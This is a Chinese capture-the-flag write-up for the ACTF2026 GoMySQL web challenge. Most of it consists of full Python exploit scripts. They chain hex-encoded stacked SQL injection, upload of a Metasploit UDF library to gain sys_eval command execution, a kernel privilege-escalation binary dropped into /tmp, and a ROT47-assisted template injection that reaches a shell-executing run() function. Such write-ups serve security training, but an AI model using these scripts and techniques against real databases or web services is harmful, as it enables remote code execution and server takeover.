ACTF2026 GoMySQL wp&复现
ACTF2026 GoMySQL wp&复现
一个 calc 计算表达式,draw 暂时没想到什么用
calc 提示不能有 sql 注入相关,猜测是通过一个 select 去做计算的,可以 fuzz 一下 waf
= set into drop union alter select delete insert create schema update _ prepare outfile update

报错信息可以看出确实是 select 语句
可以使用编码或者 char 绕过字符串的关键字,比较难搞的是绕 schema 查表
database() => testdb
* from mysql.db# 没回显
* from mysql.user#
能查到一个root权限的用户
localhost@root
*BF7B173F1C146F576CC267F0BAEF5589A08404FB
draw 路由行为像是 crc32()


有什么深意吗?还看不出来
单引号会 denied
可以堆叠注入 1;show tables from mysql;

可以尝试 execute immediate
https://mariadb.com/docs/server/reference/sql-statements/prepared-statements/execute-immediate
show databases
1; execute immediate 0x73686f7720646174616261736573

这样就能用 hex 去绕过关键字做任意查询
可以直接 load_file

读不到/flag
1;show variables like 'secure%'
Variable_name: secure_auth, Value: ON
Variable_name: secure_file_priv, Value: NULL
Variable_name: secure_timestamp, Value: NO
secure_file_priv 是 null,可以写 shell,但是这里没有 shell 场景,所以想到能否写 so 加载 sys_eval,也就是 udf 提权的一个思路
1;show variables like 'plugin%'
Variable_name: plugin_dir, Value: /usr/lib/mysql/plugin/
Variable_name: plugin_maturity, Value: gamma
能查到 plugin 目录
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
下载 so 文件,ai 写个脚本上传进去
import binascii
import pathlib
import requests
CALC_URL = "http://127.0.0.1:8000/calc"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"
def to_hex_bytes(data: bytes) -> str:
return binascii.hexlify(data).decode()
def to_hex_sql(sql: str) -> str:
return binascii.hexlify(sql.encode()).decode()
def build_upload_payload(so_path: str, remote_path: str) -> str:
so_bytes = pathlib.Path(so_path).read_bytes()
so_hex = to_hex_bytes(so_bytes)
inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
inner_sql_hex = to_hex_sql(inner_sql)
return f"1;execute immediate 0x{inner_sql_hex}"
def post_expr(url: str, expr: str) -> str:
r = requests.post(url, data={"expression": expr}, timeout=20)
r.raise_for_status()
return r.text
if __name__ == "__main__":
payload = build_upload_payload(SO_PATH, REMOTE_SO)
print(f"payload length: {len(payload)}")
html = post_expr(CALC_URL, payload)
print(html[:2000])
然后执行注册
create function sys_eval returns string soname 'udf64.so'
create function sys_exec returns integer soname 'udf64.so'
这里成功的是 lib_mysqludf_sys_64.so,可以在 count(*) from mysql.func 查看有没有写入
这里把 eval 和 exec 都注册了,显示 2

select sys_eval('ls /')
1;execute immediate 0x73656c656374207379735f6576616c2827636174202f666c616727290a0a#

Let's gooooooooo
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
依旧 cat 不到 flag,应该要提权,先弹个 shell
弹不了 shell,有点搞
复现
当时其实是想弹 shell 然后打 copyfail,看 wp 似乎不需要弹 shell 也可以,尝试打打看
import binascii
import pathlib
import re
import requests
CALC_URL = "http://web-852c668203.adworld.xctf.org.cn:80/calc"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"
CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"
command = "chmod +x /tmp/cf3;/tmp/cf3 2>&1"
def to_hex_bytes(data: bytes) -> str:
return binascii.hexlify(data).decode()
def to_hex_sql(sql: str) -> str:
return binascii.hexlify(sql.encode()).decode()
def build_upload_payload(so_path: str, remote_path: str) -> str:
so_bytes = pathlib.Path(so_path).read_bytes()
so_hex = to_hex_bytes(so_bytes)
inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
inner_sql_hex = to_hex_sql(inner_sql)
return f"1;execute immediate 0x{inner_sql_hex}"
def build_payload(expr: str) -> str:
expr_hex = to_hex_sql(expr)
return f"1;execute immediate 0x{expr_hex}#"
def post_expr(url: str, expr: str) -> str:
r = requests.post(url, data={"expression": expr}, timeout=20)
r.raise_for_status()
return r.text
def execute_eval(url:str, command: str) -> str:
expr = f"select sys_eval('{command}')"
r = post_expr(url, build_payload(expr))
return r
def extract_and_decode(text: str) -> str:
match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
if not match:
return ""
numbers_str = match.group(1)
ascii_codes = [int(n) for n in numbers_str.split()]
return bytes(ascii_codes).decode('ascii')
if __name__ == "__main__":
# payload = build_upload_payload(SO_PATH, REMOTE_SO)
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
payload = build_upload_payload(CF_PATH, REMOTE_CF)
print(f"payload length: {len(payload)}")
html = post_expr(CALC_URL, payload)
print(html[:2000])
print(extract_and_decode(execute_eval(CALC_URL, command)))
这里换了好几个 copyfail 的 payload 都没有成功,然后试了昆仑问道战队 wp 的也没成功

本身这个打法也是非预期,因此怀疑是修了,那我们来看看预期的解法
首先执行 ps -ef 可以看到 go 应用进程
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 12:09 ? 00:00:00 /usr/local/bin/41323461_myapp
尝试把这个文件下载下来,我这里的方式是 base64
def base64_to_file(b64_string: str, output_path: str) -> None:
with open(output_path, 'wb') as f:
f.write(base64.b64decode(b64_string))
base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")
然后可以让 ai 帮忙逆向一下恢复函数逻辑
/calc
func calcHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" && r.Method != "POST" {
http.Error(w, "method not allowed", 405)
return
}
var result stringvar err errorif r.Method == "POST" {
expression := r.FormValue("expression")
if checkInput(expression) != nil {
result = "invalid input"
} else {
query := fmt.Sprintf("SELECT %s;", expression)
result, err = executeQuery(query)
}
}
renderCalc(w, r, expression, result, err)
}
逻辑跟之前猜测的一致
/draw
func drawHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
http.Error(w, "method not allowed", 405)
return
}
vars, err := parseTemplateVars(r)
if err != nil {
http.Error(w, err.Error(), 403)
return
}
page, err := parseTemplateString(drawTemplate, vars)
if err != nil {
if errors.Is(err, unsafeErr) {
http.Error(w, err.Error(), 403)
} else {
http.Error(w, err.Error(), 500)
}
return
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Write([]byte(page))
}
会将参数传入模板渲染
<!doctype html>
<html lang="en">
<head>
<title>Daily Number Draw</title>
</head>
<body>
<main>
<p class="eyebrow">Draw your number today</p>
<h1>Hello, <b><\ %name% /></b></h1>
<p class="number">
Your number today:
<b><\ draw_number(%name%); /></b>
</p>
<form method="GET" action="/draw">
<input name="name" placeholder="Name">
<button type="submit">Draw</button>
</form>
</main>
</body>
</html>
可以发现模板渲染逻辑,边界符为 <\/>,渲染变量用 %%
func parseTemplateVars(r *http.Request) (map[string]string, error) {
vars := make(map[string]string)
query := r.URL.Query()
for key, values := range query {
if len(values) == 0 {
vars[key] = ""
} else {
vars[key] = values[0]
}
}
if err := validateTemplateVars(vars); err != nil {
return nil, err
}
return vars, nil
}
func validateTemplateVars(vars map[string]string) error {
for _, value := range vars {
if strings.Contains(value, `<\`) ||
strings.Contains(value, `/>`) ||
strings.Contains(value, `'`) ||
strings.Contains(value, `;`) {
return unsafeErr
}
}
return nil
}
func parseTemplateString(tpl string, vars map[string]string) (string, error) {
for i := 0; i < 100; i++ {
block := templateBlockRe.FindString(tpl)
if block == "" {
return tpl, nil
}
replaced, err := commandHandler(block, vars)
if err != nil {
return "", err
}
tpl = strings.Replace(tpl, block, replaced, 1)
}
return "", errors.New("template recursion limit exceeded")
}
可以发现输入参数存在 waf,因此难以注入
渲染方式是通过正则匹配进行多次模板解析,主要的模板语法如下
templateBlockRe = regexp.MustCompile(`(?is)<\\.*?/>`)
varRe = regexp.MustCompile(`(?is)%(.*)%`)
funcCallRe = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
literalRe = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)
其中有函数调用语法:<\ func_name('argument'); unsafe(optional) />
默认定义的函数如下:
funcs := map[string]templateFunc{
"draw_number": init.func1,
"strrot": init.func2,
"run": init.func3,
}
safeFuncs := map[string]bool{
"draw_number": true,
"strrot": true,
"run": false,
}
其中 run 函数为非安全函数,需要通过 unsafe 标记才能执行,它的调用逻辑是
func runCommand(cmd string) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
c := exec.CommandContext(ctx, "/bin/sh", "-c", cmd)
output, err := c.CombinedOutput()
if len(output) > 0x2000 {
output = output[:0x2000]
}
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
return string(output) + "\ncommand timed out", nil
}
if err != nil {
if len(output) > 0 {
return string(output), nil
}
return "", fmt.Errorf("command failed: %v", err)
}
return string(output), nil
}
显然就是一个 shell rce
那思路很明显就是要想办法绕过 waf 来执行 ssti
这里我们发现有多次的模板解析,那我们可以尝试利用变量解析来引入 ssti 的边界符
需要注意的是,变量解析会引入单引号:
<\ %name% />
=> <\ 'Alice' />
而在最后的字面量解析时,会匹配出所有单引号内的内容,随后删除边界符
literalRe = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)
因此我们可以引入双数数量的单引号,边界符可以双写绕过
而分号没有办法引入,因此我们需要复用模板中的分号
<h1>Hello, <b><\ %name% /></b></h1>
<p class="number">
Your number today:
<b><\ draw_number(%name%); /></b>
</p>
那么,我们就需要保留模板中的 %);,由于模板语法匹配都是贪婪的,因此可以尝试让将最后一个 % 匹配到 %name% 解析后的其中一个 %,也就是需要尝试构造出
<h1>Hello, <b><\func(%</b></h1>
<p class="number">
Your number today:
<b><\ draw_number(%name%); /></b>
</p>
这样,我们就能将 </b></h1><p class="number"> Your number today: <b><\ draw_number(%name 一整串内容作为变量名(当然,这里的前提是模板支持这种做法,而这里使用的 go web 框架 Gin 时默认支持的)
我们将其替换得到
<h1>Hello, <b><\func('arg'); /></b>
</p>
也就是说,我们要让 <\ %name% /> 渲染为 <\func(
<\func(%
'<<\\func(%'
'<<''\\func(%'''
'<<'%var1%'' var1=\\func(%
'<<%var2%' var2=%var1%
%name% name=<<%var2%
这样就能执行任意函数
import binascii
import pathlib
import re
import requests
import base64
URL = "http://web-482826a227.adworld.xctf.org.cn/"
CALC_URL = f"{URL}calc"
DRAW_URL = f"{URL}draw"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"
CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"
command = "base64 /usr/local/bin/41323461_myapp"
def to_hex_bytes(data: bytes) -> str:
return binascii.hexlify(data).decode()
def to_hex_sql(sql: str) -> str:
return binascii.hexlify(sql.encode()).decode()
def build_upload_payload(so_path: str, remote_path: str) -> str:
so_bytes = pathlib.Path(so_path).read_bytes()
so_hex = to_hex_bytes(so_bytes)
inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
inner_sql_hex = to_hex_sql(inner_sql)
return f"1;execute immediate 0x{inner_sql_hex}"
def build_payload(expr: str) -> str:
expr_hex = to_hex_sql(expr)
return f"1;execute immediate 0x{expr_hex}#"
def post_expr(url: str, expr: str) -> str:
r = requests.post(url, data={"expression": expr}, timeout=20)
r.raise_for_status()
return r.text
def execute_eval(url:str, command: str) -> str:
expr = f"select sys_eval('{command}')"
r = post_expr(url, build_payload(expr))
return r
def extract_and_decode(text: str) -> str:
match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
if not match:
return ""
numbers_str = match.group(1)
ascii_codes = [int(n) for n in numbers_str.split()]
return bytes(ascii_codes).decode('ascii')
def load_file(url:str ,path: str) -> str:
expr = f"load_file('{path}')"
r = post_expr(url, build_payload(expr))
return r
def base64_to_file(b64_string: str, output_path: str) -> None:
with open(output_path, 'wb') as f:
f.write(base64.b64decode(b64_string))
def draw2rce(url: str) -> str:
arg = "123"
vars = {
"name": "<<%var2%",
"var1": "\\\\draw_number(%",
"var2": "%var1%",
' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name': arg,
}
r = requests.get(url, params=vars)
return r.text
if __name__ == "__main__":
# payload = build_upload_payload(SO_PATH, REMOTE_SO)
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# payload = build_upload_payload(CF_PATH, REMOTE_CF)
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")
print(draw2rce(DRAW_URL))

结果符合预期
那么如何引入 run 函数所需的 unsafe 呢?
我们注意到一个函数 strrot(),是一个 rot 函数,测试一下具体功能
strrot('123456abcdefg')
`abcde2345678
符合 ROT47 特征,可以利用来引入任意模板执行
<\strrot(%arg%); /></b>
<\strrot('payload');/>
<\'rot_payload'/>
我们最终的构造目标是 <\ run("id");unsafe />,这里分号是不能引入变量中的,因此整个 run 命令必须塞入 strrot 函数内,那么闭合单引号就是主要需要解决的问题
<\'rot_payload'/>
<\'/><\ run('id');unsafe />'/>
边界符匹配是懒惰的,因此这个地方在下一轮渲染时会优先把前面的无用模板匹配掉
<\ run('id');unsafe />'/>
此时再次匹配就会匹配到 run 函数,于是 rce 达成

ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}
最终 exp
import binascii
import pathlib
import re
import requests
import base64
URL = "http://web-482826a227.adworld.xctf.org.cn/"
CALC_URL = f"{URL}calc"
DRAW_URL = f"{URL}draw"
SO_PATH = "lib_mysqludf_sys_64.so"
REMOTE_SO = "/usr/lib/mysql/plugin/udf64.so"
CF_PATH = "copy_fail_exp_splice"
REMOTE_CF = "/tmp/cf3"
command = "base64 /usr/local/bin/41323461_myapp"
def to_hex_bytes(data: bytes) -> str:
return binascii.hexlify(data).decode()
def to_hex_sql(sql: str) -> str:
return binascii.hexlify(sql.encode()).decode()
def build_upload_payload(so_path: str, remote_path: str) -> str:
so_bytes = pathlib.Path(so_path).read_bytes()
so_hex = to_hex_bytes(so_bytes)
inner_sql = f"select 0x{so_hex} into dumpfile '{remote_path}'"
inner_sql_hex = to_hex_sql(inner_sql)
return f"1;execute immediate 0x{inner_sql_hex}"
def build_payload(expr: str) -> str:
expr_hex = to_hex_sql(expr)
return f"1;execute immediate 0x{expr_hex}#"
def post_expr(url: str, expr: str) -> str:
r = requests.post(url, data={"expression": expr}, timeout=20)
r.raise_for_status()
return r.text
def execute_eval(url:str, command: str) -> str:
expr = f"select sys_eval('{command}')"
r = post_expr(url, build_payload(expr))
return r
def extract_and_decode(text: str) -> str:
match = re.search(r'**\[**(\d+(?:\s+\d+)*)**\]**', text)
if not match:
return ""
numbers_str = match.group(1)
ascii_codes = [int(n) for n in numbers_str.split()]
return bytes(ascii_codes).decode('ascii')
def load_file(url:str ,path: str) -> str:
expr = f"load_file('{path}')"
r = post_expr(url, build_payload(expr))
return r
def base64_to_file(b64_string: str, output_path: str) -> None:
with open(output_path, 'wb') as f:
f.write(base64.b64decode(b64_string))
def rot47(s: str) -> str:
result = []
for c in s:
code = ord(c)
if 33 <= code <= 126:
result.append(chr(33 + ((code - 33 + 47) % 94)))
else:
result.append(c)
return ''.join(result)
def draw2rce(url: str) -> str:
func = "strrot"
arg = rot47(r"/><**\ **run('cat /flag');unsafe />")
vars = {
"name": "<<%var2%",
"var1": f"\\\\{func}(%",
"var2": "%var1%",
' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name': arg,
}
r = requests.get(url, params=vars)
return r.text
if __name__ == "__main__":
# payload = build_upload_payload(SO_PATH, REMOTE_SO)
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# payload = build_payload("create function sys_eval returns string soname 'udf64.so'#")
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# payload = build_upload_payload(CF_PATH, REMOTE_CF)
# print(f"payload length: {len(payload)}")
# html = post_expr(CALC_URL, payload)
# print(html[:2000])
# base64_to_file(extract_and_decode(execute_eval(CALC_URL, command)), "myapp")
print(draw2rce(DRAW_URL))

浙公网安备 33010602011771号